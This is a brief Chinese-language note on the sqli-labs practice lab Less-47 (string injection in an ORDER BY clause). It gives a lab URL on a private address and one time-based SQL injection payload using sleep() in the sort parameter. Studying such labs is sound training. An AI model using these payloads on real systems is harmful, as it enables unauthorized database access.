【sqli-labs】 less47 GET -Error based -String -Order By Clause(GET型基于错误的字符型Order By从句注入)

http://192.168.136.128/sqli-labs-master/Less-47/?sort=1

改变sort的值，结果仍然是order by 1的结果

http://192.168.136.128/sqli-labs-master/Less-47/?sort=1' and sleep(0.1)%23